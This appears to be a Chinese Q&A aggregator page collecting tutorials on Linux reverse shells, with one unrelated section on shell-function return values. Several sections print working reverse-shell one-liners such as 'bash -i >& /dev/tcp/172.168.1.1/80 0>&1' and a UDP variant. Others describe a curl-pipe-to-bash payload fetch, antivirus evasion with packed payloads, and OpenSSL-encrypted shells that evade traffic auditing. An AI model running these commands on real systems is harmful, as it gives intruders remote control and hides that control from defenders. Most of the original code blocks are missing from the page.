导航:首页 > 操作系统 > linuxshell反弹

linuxshell反弹

发布时间:2023-01-06 23:30:15

‘壹’ linux如何使用命令生成反弹SHELL

【Reverse shell】也叫反弹shell,是渗透攻击的基本功,如果你找到机会让远端的机器执行你注入的代码,你的代码怎样才能为你生成一个可以交互操作的shell呢?
你可以在本地先用nc启动一个监听进程【nc -l 端口号】
然后在远端执行【bash -i >& /dev/tcp/你本地的IP/端口号 0>&1】即可。

‘贰’ 如何判断linux是否反弹shell

判断文件大小是不是0kb行不行?使用-s if [ -s filenpath]; then 文件内容不为空 else 文件内容为空 fi

‘叁’ 每天三分钟搞定linux shell脚本26 函数返回值

函数可以产生返回值,有3个方法。
1)默认情况下是 最后一条语句对应的退出状态码
2) return 一个整数值
3)使用 echo语句 指定输出
针对 方法1 建立如下脚本:

运行后输出结果为:

针对 方法2 建立脚本:

运行后结果为:

针对 方法3 建立脚本

运行后输出结果为:

方法3使用echo语句来返回结果,而且 并没有把这个输出到stdout 中。

函数返回数组与参数传递数组一样,使用echo语句。举例如下:

运行后输出结果为:

‘肆’ 反弹shell小结

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
简而言之,反弹shell就是要我们的vps服务器设置监听,然后让服务器反弹一个shell来连接我们自己的主机,从而使我们能远程控制我们的主机

客户端执行:

服务端成功接收,客户端执行命令成功。

成功反弹:

当然由于各种环境不同,服务端不一定有nc,所以还要靠其他手段各显神通。

项目地址: https://eternallybored.org/misc/netcat/

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多

注意某些特殊情况需要将powershell脚本进行base64编码,才能成功反弹。比如sqlserver的命令执行、php中system函数的执行

base64编码处理:

目标机器执行:

适用于python2环境

考虑实战中可能没有python环境
可以先在本地上使用pyinstaller将改文件打包为exe文件,直接上传exe运行即可。(推荐使用)

实际测试bypass av效果也比较好。

其实msf有相应的模块可以生成dll,没事也可以用用这个小工具,轻便快捷,一键操作,免杀能力一般,但起码比msf强,msf生成的基本会被通杀。

将生成的dll文件上传至被攻击端
运行命令:

攻击端用nc监听,即可反弹cmd

github项目地址: https://github.com/Ridter/MyJSRat

攻击端运行:

被控端运行:

首先在目标上查看相关命令是否存在:

某些目标的 nc 不支持 -e 参数,有两个解决思路
要么使用其他版本的 nc:

要么配合命名管道进行反弹:

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

然后再目标机上执行如下,即可反弹shell:

补充: curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等

保存为Revs.java文件,编译执行,成功反弹shell。

项目地址: https://github.com/iagox86/dnscat2

具体原理请参考: python正向连接后门

最后,推荐一个一键在线生成反弹shell网站:
https://krober.biz/misc/reverse_shell.php

windows命令行反弹shell(一)
Windows/Linux 下nc 反弹shell
反弹shell原理与实现
Reverse shell cheatsheet
反弹shell的各种姿势

‘伍’ linux反弹shell 什么意思

简单来说,Shell就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的ssh就是执行的Shell命令实现对远程对服务器的控制。
那反弹Shell是啥呢?其英文名叫做Reverse
Shell,具体干什么的呢?就是控制端首先监听某个TCP/UDP端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。
比如说,我们有两台主机A、B,我们最终想实现在A上控制B。那么如果用正向Shell,其实就是在A上输入B的连接地址,比如通过ssh连接到
B,连接成功之后,我们就可以在A上通过命令控制B了。
如果用反向Shell,那就是在A上先开启一个监听端口,然后让B去连接A的这个端口,连接成功之后,A这边就能通过命令控制B了。
反弹shell有什么用?
还是原来的例子,我们想用A来控制B,如果想用ssh等命令来控制,那得输入B的sshd地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT等原因,我们实际上是无法直接连接到B的,比如:
A虽然有公网IP,但B是一个处于内网的机器,A就没法直接连到B上。
B上开了防火墙或者安全组限制,sshd的服务端口22被封闭了。
B是一台拨号主机,其IP地址经常变动。
假如B被攻击了,我们想让B向A汇报自己的状况,那自然就需要B主动去连接A。
如果是这些情况,我们就可以用反弹Shell用A来控制B了。

‘陆’ linux反弹shell知识汇总

shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。
网络解释的shell:
在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。
简单说用户通过壳访问操作系统内核的服务,也就是由壳到内核,执行系统命令。
getshell:获取到目标的命令执行权限
webshell:指网站后门,通过web服务进行命令执行
反弹shell:把命令行的输入输出转移到其它主机

1、webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
2、反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。

使用whereis命令去确定目标支持的反弹方法。

bash反弹是实战中用的最多的方法

把命令拆开分析:
1、bash -i代表在本地打开一个bash
2、/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
3、>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
4、远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

需要目标主机安装了nc

使用其他版本的 nc

配合命名管道进行反弹:

首先使用socket与远程建立起连接,接下来使用到了os库的p2方法将标准输入、标准输出、标准错误输出重定向到远程,p2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,打印出来数值为3

0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

需要php关闭safe_mode选项,才可以使用exec函数。
使用php的exec函数执行方法1反弹shell的命令

使用php的fsockopen去反弹shell

exec反弹

perl反弹

ruby反弹

lua反弹

通过上述命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为'哑'shell。
通常存在以下缺点

因此有必要去获取一个完全交互的shell。
1、在哑 shell 中执行python,使用pty模块,创建一个原生的终端,命令如下:

运行完后
2、键入 Ctrl-Z暂停任务,切回到 VPS 的命令行中;在 VPS 中执行:

3、在哑 shell 中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim编辑等功能。

部分防护设备会对内外网传输流量进行审查,反弹shell执行命令都是以明文进行传输的,很容易被查杀。
因此需要将原始流量使用 openssl 加密,绕过流量审计设备。

1、首先vps上生成SSL证书的公钥/私钥对,信息懒得填,一直回车即可。

2、vps使用 OpenSSL 监听一个端口

3、目标主机执行反弹加密shell

反弹成功,成功接收到ssl流量加密的shell。

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://www.sohu.com/a/161766202_709042
https://www.freebuf.com/vuls/211847.html
https://www.freebuf.com/articles/system/178150.html
https://zhuanlan.hu.com/p/138393396
https://www.cnblogs.com/Dubing-ydfc/p/11749241.html

‘柒’ 如何让linux反弹一个加密的shell

https://jingyan..com/article/574c5219776fa06c8d9dc120.html
-供参考

‘捌’ linux提权一定要反弹shell吗

1、知道root密码的情况下可以使用su -
2、没有root密码的情况下,事先让root把普通用户加入sudoers,并分配权限。使用sudo

‘玖’ linux socket server怎么退到shell

退到shell?
是要做一个反弹shell后门程序吧
要反弹一个shell的话可以在一个新进程里
通过exce族函数调用一个交互式shell
但是之前要将该进程的标准输入,标准输出以及标准出错全部重定向到socket标识符上
这样客户端可以通过发送命令给服务器
服务器中shell进程执行后会将输出通过重定向发送给客户端
从而完成了一个反弹式shell后门

‘拾’ 反弹shell基础

将这句话拆开来看, bash -i , >& , /dev/tcp/ , 0>&1 ,有三个知识点。
(1) bash -i 是打开一个交互的bash
(2) /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
(3) >& 和 0>&1 这两个涉及到Linux文件描述符和重定向。此处的 & 是取地址符

(1)文件描述符
Linux启动时会默认打开三个文件描述符(实现文件读写操作),Linux把键盘、显示器等设备也当做文件用文件描述符进行控制,如果要修改默认设备就需要进行重定向。

(2)重定向
输入的重定向包括, < 和 << ,输出的重定向包括, > 和 >> , n< file 代表将文件描述符 n 重定向到file指代的文件(以只读方式打开),如果n省略就是0(标准输入)。同理如果是输出的重定向, n> file ,n省略则默认是1。

错误输出的重定向有三种形式

其中, &> 和 >& 是一个意思,都是将标准错误输出合并到标准输出中。 2>&1 和 >file 可以用如下过程图表示

需要注意的是,上述输入输出重定向,将输入和输出绑定到文件或者设备只对该条指令有效,如果想要一直有效,就需要添加exec指令 exec n </> file/n

(3)复制
与之形似的是文件描述符的复制 n<&m / n>&m ,这两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开,因为读/写方式对于复制操作几乎没有影响所以两者基本可以看作是等价的。这里的 & 目的是区分以数字为名字的文件和文件描述符的数值,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是另一个文件描述符。

此时再来看这句命令,可与理解为,创建一个可交互的bash和一个到172.168.1.1:80的TCP链接,然后将bash的输入输出错误都重定向到在172.168.1.1:80监听的进程。

首先,反弹shell可以理解为,攻击者监听在TCP/UDP端口,被控制端的请求被转发到该端口,可以控制其输入输出。一般攻击者攻击了一台机器,并用自己的主机去连接该机器的端口,这是一种“正向连接”,远程桌面、web服务、ssh、telnet等都是正向连接的一种。但是如果被攻击的机器处于内网中可能造成无法连接,或者有防火墙等限制,再或者攻击者需要进行实时控制,正向连接是无法满足需要的。所以有了“反向连接”,即让被攻击的主机主动去连接攻击者的服务器。

所以我们还可以从反向连接的角度来理解一下 0>&1 。如果只是 bash -i >& /dev/tcp/172.168.1.1/80 ,将输出描述符连接到了端口,该端口可接收到我们的输出,即我们正向连接了被攻击者的机器,但是我们输入shell后是无法看到回显的。回显只会显示在被攻击者的机器上。如果我们想要得到回显,需要将被攻击机器的输入描述符连接到我们监听的端口上。

也就是说如果我们想要看到回显,除了先将输出描述符连接到端口上,还需要将其输入描述符也连接到端口上。即输入描述符0和输出描述符1连接相同, 0>&1 即可解决。这就形成了一个回路,实现了远程交互式shell的功能。

不过这样的一条指令还不够完善,因为这条指令会使得我们在被攻击的机器上依然能看到我们在攻击者机器中执行的指令,那么解决办法就是将错误输出和标准输出进行混合,即将 bash -i > 换为 bash -i >&

Bash相关shell主要有以下几种:

刚才详细讲的是第一种bash shell,第二种是将 >& 这种错误输出的混合方式改成了 2>&1 ,2代表错误输出,1代表标准输出,2指向了1,即输出混合了。文件描述符的复制 n<&m / n>&m 两种虽然读写不同但是对于shell的效果是等价的,即和 0>&1 效果相同。所以第二种就是第一种的变种。第四种同理,输入、输出、报错都定位到同一位置。第五种选了一个新的文件描述符196,道理类似。

对于第三种bash shell,exec已经在前面提到过可以持续连接,后面的关键点如下:

从文件中依次读取每一行,将其赋值给 line 变量(其他也可),之后在循环中对line进行操作。这里不再从文件中读取,而是通过管道符对攻击者机器上输入的命令进行依次执行,并且将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

另外,本文最开始的时候说到/dev/tcp/是Linux中的一个特殊设备类似的还有/dev/udp/,按照tcp的方式直接改成udp就行。
sh -i >& /dev/udp/172.168.1.1/80 0>&1

除了bash还有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用脚本语言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反弹shell的方式,这里就不一一列举了,原理类似。写这篇文章总结shell的过程中顺手将网络上的shell进行了收集,将近80条,写了BashShell.py,就是个简单的查询shell的工具,有需要的下方留言

阅读全文

与linuxshell反弹相关的资料

热点内容
小奔运动app网络异常怎么回事 浏览:447
php开启压缩 浏览:303
服务器主机如何设置启动 浏览:282
linux配置网络命令 浏览:774
一张照片怎么制作视频app 浏览:908
pythonweb和php 浏览:976
电脑服务器地址ip地址 浏览:823
对矩阵压缩是为了 浏览:910
setfacl命令 浏览:172
linux子系统中断 浏览:342
linux查看进程ps 浏览:224
知识库系统php 浏览:623
小波变换压缩图像python 浏览:151
阿里巴巴程序员怎么月入百万 浏览:173
如何使用国外服务器 浏览:188
燃灯者pdf 浏览:468
编译器用数学吗 浏览:7
图形化apk反编译工具 浏览:48
考勤表加密怎么办 浏览:735
arj压缩与解压批处理怎么写 浏览:658